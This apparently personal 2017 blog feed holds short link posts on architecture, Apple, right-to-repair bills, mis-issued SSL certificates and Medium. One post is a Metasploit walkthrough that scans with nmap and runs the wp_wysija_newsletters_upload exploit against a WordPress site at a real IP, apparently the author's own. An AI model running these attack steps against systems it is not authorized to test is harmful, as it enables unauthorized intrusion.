Myles Braithwaite

La Muralla Roja Apartment Complex in Calpe, Spain

Fri, 21 Apr 2017 12:20:34 -0400

La Muralla Roja is an apartment complex in the costal town of Calpe, Spain, designed by Ricardo Bofill and built in 1973.

La Muralla Roja Apartment Complex in Calpe, Spain was published on Myles Braithwaite at 21 April, 2017 12:20 PM.

Apple should fix boring problems in 2017

Sat, 11 Feb 2017 04:45:53 -0500

And amid all of these delays and misses, Bloomberg reports that the Mac team is in trouble, having "lost clout" with Jonathan Ive and the company’s software team—even though Tim Cook promises Apple hasn't forgotten about the Mac. But you don’t need Mark Gurman’s insider sources when you can spot the wreck from the sky. The Mac Pro—the flagship of Apple desktop hardware—hasn’t been updated since 2013 (not even with a faster processor option).

Microsoft, smelling blood in the water, has given up on phones but focused on the future of the laptop and desktop. Its Surface line is not only selling well to the mainstream, it’s experimenting aggressively to score the Photoshopping, Maya-ing, and AutoDesk-ing market, too. After fighting a 10-year losing battle against Apple on almost everything it does, Microsoft is going for the blind spot Apple now takes for granted: the creative class.

Apple should fix boring problems in 2017 was published on Myles Braithwaite at 11 February, 2017 04:45 AM.

Nebraska, Minnesota, New York, Massachusetts, and Kansas are Considering Bills to Legalize the "Right to Repair" Electronics

Wed, 25 Jan 2017 08:39:38 -0500

The bills are squarely aimed at the “authorized repair” model that creates aftermarket monopolies dominated by the manufacturers themselves. For example, Apple has never authorized an independent company to repair iPhones, even though hundreds of companies do so every day (its authorized repair program is only for Mac computers).

Nebraska, Minnesota, New York, Massachusetts, and Kansas are Considering Bills to Legalize the "Right to Repair" Electronics was published on Myles Braithwaite at 25 January, 2017 08:39 AM.

Symantec issues more illegit SSL certificates

Mon, 23 Jan 2017 18:23:33 -0500

A security researcher has unearthed evidence showing that three browser-trusted certificate authorities (CAs) owned and operated by Symantec improperly issued more than 100 unvalidated transport layer security certificates. In some cases, those certificates made it possible to spoof HTTPS-protected websites.

Symantec issues more illegit SSL certificates was published on Myles Braithwaite at 23 January, 2017 06:23 PM.

Let's Encrypt has issued 709 SSL Certificates Containing PayPal

Mon, 16 Jan 2017 21:08:37 -0500

By December 8, 2016, Let's Encrypt had issued 409 certificates containing “Paypal” in the hostname; that number is up to 709 as of this morning. Other targets include BankOfAmerica (14 certificates), Apple, Amazon, American Express, Chase Bank, Microsoft, Google, and many other major brands. LetsEncrypt validates only that (at one point in time) the certificate applicant can publish on the target domain; the CA also grudgingly checks with the SafeBrowsing service to see if the target domain has already been blocked as malicious, although they “disagree” that this should be their responsibility. Let's Encrypt’s short position paper is worth a read; many reasonable people agree with it.

Let's Encrypt has issued 709 SSL Certificates Containing PayPal was published on Myles Braithwaite at 16 January, 2017 09:08 PM.

Exploiting a WordPress Website with Metasploit

Mon, 16 Jan 2017 20:58:00 -0500

This is a quick blog post about exploiting a WordPress website using Metasploit on Kali Linux.

Identify a Remote Host

msf > db_nmap -v -sV 192.168.111.xxx

Scan an Entire Network

This will save the results to the metasploit database

msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1

hosts will list all the hosts found by nmap.
hosts -R will add them to the list of hosts to exploit.

Searching for a WordPress Vulnerability

msf > search name:wordpress

Use an Exploit

This will select an exploit to use:

msf > use exploit/unix/webapp/wp_wysija_newsletters_upload

This will show you the attacks that the exploit will take advantage of:

msf exploit(wp_wysija_newsletters_upload) > show payloads

This will show what software and version will be targeted:

msf exploit(wp_wysija_newsletters_upload) > show targets

Exploit targets:

    Id  Name
    --  ----
    0   wysija-newsletter < 2.6.8

Next configure the Exploit

msf exploit(wp_wysija_newsletters_upload) > show options

Module options (exploit/unix/webapp/wp_wysija_newsletter_upload):

    Name        Current Settings    Required    Description
    ----        ----------------    --------    -----------
    Proxies                         no          A proxy chain of format type:host:port[,type:host:port][...]
    RHOST                       no          The target address
    RPORT       80                  yes         The target port
    SSL         false               no          Negotiate SSL/TLS for outgoing connections
    TARGETURI   /                   no          The base path to the wordpress application
    VHOST                           no          HTTP server virtual host

Exploit target:

    Id  Name
    --  ----
    0   wysija-newsletters < 2.6.8

Here is where we set all the options:

msf exploit(wp_wysija_newsletters_upload) > set RHOST 159.203.19.77
msf exploit(wp_wysija_newsletters_upload) > set RPORT 443
msf exploit(wp_wysija_newsletters_upload) > set SSL true
msf exploit(wp_wysija_newsletters_upload) > set VHOST myles.life

Run the Exploit

msf exploit(wp_wysija_newsletters_upload) > exploit

Exploiting a WordPress Website with Metasploit was published on Myles Braithwaite at 16 January, 2017 08:58 PM.

Archer

Thu, 12 Jan 2017 09:35:59 -0500

Wow, that was way easier than I thought it would be.
Although, I guess so is everything.

Archer

Archer was published on Myles Braithwaite at 12 January, 2017 09:35 AM.

Editorial Template For A Jekyll Post

Sun, 08 Jan 2017 13:05:21 -0500

I made this Editoral template to publish Jekyll posts from my iPad or iPhone.

Editorial Template For A Jekyll Post was published on Myles Braithwaite at 08 January, 2017 01:05 PM.

Venture Capital is going to murder Medium

Fri, 06 Jan 2017 09:34:00 -0500

But I don’t think we’ll grow old together, Medium and I. I suspect it’ll end quite tragic, actually. $132,000,000 is a lot of money after all, and that’s how much venture capital Medium has been dipped in. Before having a prayer or a song about how to turn into that multi-billion-dollar business it must to satisfy the required rate of return.

[…]

It’s just that in Silicon Valley, you can’t merely make a better typewriter and sell that at a profit. No, you have to DISRUPT. You have to REINVENT. Well, at least you need the appearance of that, while you squeeze eyeballs until they pop out enough advertising dollars to give the VCs that 10x return.

Venture Capital is going to murder Medium was published on Myles Braithwaite at 06 January, 2017 09:34 AM.

Chrome Extension for Viewing Facebook Computer Vision Tags

Thu, 05 Jan 2017 14:27:35 -0500

Awesome Chrome extension for viewing Facebook's computer vision¹ tags.

Screenshot of Facebook Computer Vision Tags

Computer vision is a field that deals with how computers can be made to gain high-level understanding from digital images or videos.↩

Chrome Extension for Viewing Facebook Computer Vision Tags was published on Myles Braithwaite at 05 January, 2017 02:27 PM.